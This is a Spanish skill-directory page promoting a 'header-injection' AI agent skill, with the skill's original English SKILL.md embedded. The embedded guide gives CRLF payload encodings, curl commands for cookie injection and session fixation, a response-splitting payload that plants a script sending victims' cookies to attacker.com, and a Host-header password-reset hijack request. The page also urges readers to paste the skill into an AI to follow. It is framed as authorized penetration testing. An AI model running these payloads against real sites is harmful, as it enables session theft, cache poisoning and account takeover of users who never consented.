Saltar al contenido
Skillpedia
Seguridad6,5 mil · #14064

header-injection

Qué hace

Esta habilidad explica cómo la entrada del usuario puede colocarse en cabeceras HTTP y usarse para cambiar respuestas o cachés. Está pensada para probadores de seguridad que comprueban el manejo de cabeceras y los enlaces de restablecimiento.

Cuándo usarla

  • ✓Cuando un sitio copia la entrada del usuario en cabeceras de redirección, de cookies o de descarga y quieres probarlo.
  • ✓Cuando un enlace de restablecimiento de contraseña parece construirse a partir del nombre de host de la petición.
  • ✓Cuando necesitas comprobar si los sistemas de caché tratan algunas cabeceras de forma insegura.

Link de la skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“¿Puedes comprobar si los correos de restablecimiento de contraseña de mi aplicación pueden cambiarse enviando una cabecera Host diferente?”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

El agente envía peticiones con caracteres de salto de línea y cabeceras de host o de reenvío alteradas, y luego comprueba si el servidor devuelve nuevas cabeceras o construye enlaces a partir de la entrada.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

HTTP Header Injection

Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.

Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.

Attack Surface

  • Query/body/path parameters echoed into Location, Set-Cookie, Content-Type, Content-Disposition, Link, or custom X-* headers
  • Request headers re-reflected into responses: Referer, User-Agent, X-Forwarded-Host, correlation IDs
  • Password-reset / account-recovery flows where the reset link is built from the Host header
  • OAuth/SSO redirect flows where Location is derived from user input
  • CDN/reverse-proxy stacks where X-Forwarded-Host or X-Forwarded-Proto is echoed into canonical URLs
  • Content-Disposition: attachment; filename=<user_input> file-download endpoints
  • Outbound email headers populated from user-supplied fields (To/From/Subject)

CR/LF Injection Payload Set

These are the characters and encodings to inject. Try each until one survives to the response header:

Encoding Value Notes
URL bare LF %0a Most permissive servers
URL bare CR %0d Rarely effective alone
URL CRLF %0d%0a Classic; many filters strip this
Double-encoded %250d%250a Bypasses single-decode WAFs
Tab %09 RFC 7230 permits tab in field values; some parsers fold into preceding header
Null byte %00 Truncates value in some C-based parsers
Unicode LS/PS %e2%80%a8 / %e2%80%a9 U+2028/U+2029; some intermediaries fold to LF
Overlong UTF-8 CR %c0%8d Invalid per spec but accepted by some older parsers

CRLF Response Splitting

Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.

Detection

TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
  | grep -iE "^< (set-cookie|location|http)"

# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
  | grep -i "x-injected"

Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.

Exploitation: Inject Arbitrary Cookie

PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"

If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.

Exploitation: Response Splitting for Cache Poisoning

# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"

Host Header Poisoning

The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.

Password Reset Link Hijacking

The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.

# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
  -H "Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"vi
Preguntas frecuentes

¿Por qué menciona la envenenación de caché?

Indica que algunas cabeceras cambian las respuestas pero no forman parte de la clave de caché, así que una respuesta mala puede servirse a otros usuarios.

¿Cubre los nombres de archivo de descarga?

Sí. Cubre la cabecera Content-Disposition que se usa para los nombres de archivo en las descargas.

¿Es solo para pruebas?

Es para pruebas de seguridad, y la habilidad dice que solo debe usarse en sistemas que estás autorizado a evaluar.

Detalles

Descripción original del autor

HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.

repo: BitterSecurity/Decepticon

Popularidad

Estrellas en GitHub
6,5 mil
Posición en el ranking
#14064
Licencia
Apache-2.0
Actualizada
1/11/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas